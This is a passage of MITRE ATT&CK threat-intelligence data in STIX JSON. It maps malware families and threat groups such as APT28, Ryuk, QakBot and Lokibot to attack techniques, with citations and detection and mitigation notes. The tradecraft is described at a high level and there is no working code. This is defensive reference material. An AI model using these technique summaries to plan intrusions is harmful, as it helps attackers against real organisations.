2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7f5320a-dd76-4fa0-998f-44860ff1b307","type":"relationship","created":"2019-01-31T01:07:58.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. 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Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","modified":"2022-04-20T03:22:28.134Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--811d0ef6-047f-4813-801e-33ebf1cae22a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). 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Retrieved May 6, 2020."}],"modified":"2020-07-07T14:05:07.560Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) has the ability to inject code into the svchost.exe, iexplorer.exe, explorer.exe, and default browser processes.(Citation: JPCert BlackTech Malware September 2019)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23a1a83e-6b32-43df-9aa4-dad2bcb25e61","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor for newly executed processes when removable media is mounted. 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Retrieved April 27, 2020."}],"modified":"2020-04-28T14:37:51.271Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) was distributed via malicious Word documents.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ae4207c-95db-4a16-bfac-1d8daf29ba4a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. 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Retrieved January 7, 2021."}],"modified":"2021-01-14T22:26:50.291Z","description":"[UNC2452](https://attack.mitre.org/groups/G0118) used forged SAML tokens that allowed the actors to impersonate users and bypass MFA, enabling [UNC2452](https://attack.mitre.org/groups/G0118) to access enterprise cloud applications and services.(Citation: Microsoft 365 Defender Solorigate)","relationship_type":"uses","source_ref":"intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1086030-ec11-44fe-9965-919a9175f3ea","type":"relationship","created":"2021-01-08T21:10:43.697Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}],"modified":"2021-04-20T15:44:14.226Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has masqueraded as legitimate software including TeamViewer and macOS Finder.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d0c7e94-b7d6-4ede-8223-a19e615e0a0b","type":"relationship","created":"2017-05-31T21:33:27.030Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-11T18:39:11.867Z","relationship_type":"mitigates","source_ref":"course-of-action--1881da33-fdf2-4eea-afd0-e04caf9c000f","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da33f077-8ce2-4a2d-a8ed-f9f21799c80e","type":"relationship","created":"2020-05-14T19:06:50.933Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Msiexec Feb 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/","description":"Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019."},{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-09-15T21:10:12.837Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has tricked recipients into enabling malicious macros by getting victims to click \"enable content\" in email attachments.(Citation: TrendMicro Msiexec Feb 2018)(Citation: Talos Lokibot Jan 2021)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5799308b-e710-40b8-ad64-2b7916673560","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"},{"description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html","source_name":"Talos Seduploader Oct 2017"},{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"},{"source_name":"Accenture SNAKEMACKEREL Nov 2018","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."},{"source_name":"TrendMicro Pawn Storm Dec 2020","url":"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html","description":"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."}],"modified":"2021-01-13T21:54:30.306Z","description":"An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan uses a cmd.exe and batch script to run its payload.(Citation: Unit 42 Playbook Dec 2017) The group has also used macros to execute payloads.(Citation: Talos Seduploader Oct 2017)(Citation: Unit42 Cannon Nov 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: TrendMicro Pawn Storm Dec 2020)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ade72853-1a09-417f-ad84-db50280c326c","type":"relationship","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.844Z","description":"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more. (Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA. (Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated(Citation: Elastic Predicting DGA)]","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Data Driven Security DGA","description":"Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.","url":"https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"},{"source_name":"Pace University Detecting DGA May 2017","description":"Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . 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Retrieved September 20, 2021."}],"modified":"2021-09-21T15:10:56.095Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) can enumerate running software on a targeted system.(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b5e8e16-ddf4-4339-859b-f70f980d612b","type":"relationship","created":"2019-07-18T17:11:15.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-02-23T18:18:43.358Z","description":"Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8580c1e0-84fd-4da9-a9e8-1ae17f1b67d2","type":"relationship","created":"2022-03-25T19:49:54.794Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. 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(2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. 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Project TajMahal – a sophisticated new APT framework. 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Retrieved March 18, 2021."}],"modified":"2021-04-26T20:02:14.282Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) obtains a list of running processes using the function <code>kill_unwanted</code>.(Citation: wardle evilquest parti)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c43e411a-6615-47f5-ba14-b62c78a61572","type":"relationship","created":"2021-05-17T17:26:11.399Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-04-01T15:20:43.140Z","description":"Applications may send push notifications to verify a login as a form of multi-factor authentication (MFA). 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Retrieved September 23, 2021."}],"modified":"2021-09-27T17:42:20.885Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has been delivered to victims via emails with malicious HTML attachments.(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae1600d0-8271-4709-a1a6-6fb62494fa23","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. 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Retrieved September 24, 2020."}],"modified":"2020-09-29T17:39:46.319Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can write files to a compromised host.(Citation: PWC WellMess July 2020)(Citation: CISA WellMess July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ce424541-5cfa-4885-ad62-f3f70fa27099","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. 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Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.167Z","description":"[ABK](https://attack.mitre.org/software/S0469) has the ability to decrypt AES encrypted payloads.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--a0ebedca-d558-4e48-8ff7-4bf76208d90c","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2db0ce52-c36f-40b6-964a-18d364a052b0","type":"relationship","created":"2020-11-18T17:17:06.448Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FoxIT Wocao December 2019","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf","description":"Dantzig, M. v., Schamper, E. (2019, December 19). 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Retrieved October 8, 2020."}],"modified":"2022-03-25T13:18:54.969Z","description":"[Operation Wocao](https://attack.mitre.org/groups/G0116) has scanned for open ports and used nbtscan to find NETBIOS nameservers.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01e01c24-ba4c-41d7-8f30-8fca364dc2c6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2018-10-17T00:14:20.652Z","description":"[ifconfig](https://attack.mitre.org/software/S0101) can be used to display adapter configuration on Unix systems, including information for TCP/IP, DNS, and DHCP.","relationship_type":"uses","source_ref":"tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0cde4443-ca79-439d-ba98-e6c4aa57e70a","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor executed commands and arguments that may abuse security support providers (SSPs) to execute DLLs when the system boots.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1df7df54-c4c1-49f0-a0c3-11102db44f2c","type":"relationship","created":"2017-05-31T21:33:27.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. 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Retrieved May 26, 2020."}],"modified":"2020-05-27T21:56:25.085Z","description":"[Whitefly](https://attack.mitre.org/groups/G0107) has used [Mimikatz](https://attack.mitre.org/software/S0002) to obtain credentials.(Citation: Symantec Whitefly March 2019)","relationship_type":"uses","source_ref":"intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80b64fd2-88c5-4ba6-bf95-7229236b57ee","type":"relationship","created":"2021-01-05T22:07:13.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity SolarWinds","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/","description":"Cash, D. et al. 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Retrieved January 4, 2021."}],"modified":"2021-04-20T20:03:26.937Z","description":"[Pay2Key](https://attack.mitre.org/software/S0556) can stop the MS SQL service at the end of the encryption process to release files locked by the service.(Citation: Check Point Pay2Key November 2020)","relationship_type":"uses","source_ref":"malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e85ec57-8c4d-4a7d-8e34-27966092147f","type":"relationship","created":"2019-02-12T21:28:19.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip","description":"Mandiant. (n.d.). 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Retrieved May 12, 2020."}],"modified":"2022-03-26T13:13:20.620Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has called <code>GetLogicalDrives</code> to emumerate all mounted drives, and <code>GetDriveTypeW</code> to determine the drive type.(Citation: CrowdStrike Ryuk January 2019)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e232f720-ab39-43f4-b419-ae8de115c5e6","type":"relationship","created":"2017-05-31T21:33:27.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html","description":"Miller, S., et al. (2017, March 7). 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CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf"}],"modified":"2020-11-23T17:03:38.887Z","description":"The payload of [CozyCar](https://attack.mitre.org/software/S0046) is encrypted with simple XOR with a rotating key. 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Retrieved September 13, 2019."}],"modified":"2020-07-21T18:56:44.925Z","description":"[Machete](https://attack.mitre.org/software/S0409) has used AES to exfiltrate documents.(Citation: ESET Machete July 2019)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--150667a8-2155-4500-b7bb-c2d6bbc568b8","type":"relationship","created":"2021-02-23T20:50:33.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Conficker","url":"https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm","description":"Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021."},{"source_name":"Trend Micro Conficker","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/conficker","description":"Trend Micro. (2014, March 18). Conficker. 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(2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"}],"modified":"2020-03-27T20:35:51.544Z","description":"[BADCALL](https://attack.mitre.org/software/S0245) functions as a proxy server between the victim and C2 server.(Citation: US-CERT BADCALL)","relationship_type":"uses","source_ref":"malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b203f00-34db-475f-a28b-f5088d937f4e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"AlienVault Sykipot 2011","description":"Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.","url":"https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"}],"modified":"2020-03-16T17:50:28.536Z","description":"[Sykipot](https://attack.mitre.org/software/S0018) may use <code>ipconfig /all</code> to gather system network configuration details.(Citation: AlienVault Sykipot 2011)","relationship_type":"uses","source_ref":"malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccdab928-86cd-4e6d-b477-0ec156f6105a","type":"relationship","created":"2022-02-18T15:21:51.169Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."},{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}],"modified":"2022-02-21T15:11:39.858Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has registered multiple domains to facilitate payload staging and C2.(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05d8ec5a-0fc4-4037-913f-4d48e658ee9b","type":"relationship","created":"2021-09-27T20:31:57.606Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Qakbot May 2020","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021."},{"source_name":"ATT QakBot April 2021","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}],"modified":"2021-10-12T18:16:40.394Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can check the compromised host for the presence of multiple executables associated with analysis tools and halt execution if any are found.(Citation: Trend Micro Qakbot May 2020)(Citation: ATT QakBot April 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e27ebb3-2d48-48f6-ab99-968c0a992c61","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 3","description":"ESET. (2016, October). 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Retrieved November 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/","source_name":"Unit 42 Tropic Trooper Nov 2016"}],"modified":"2020-05-29T03:23:28.079Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) can search for anti-virus software running on the system.(Citation: Unit 42 Tropic Trooper Nov 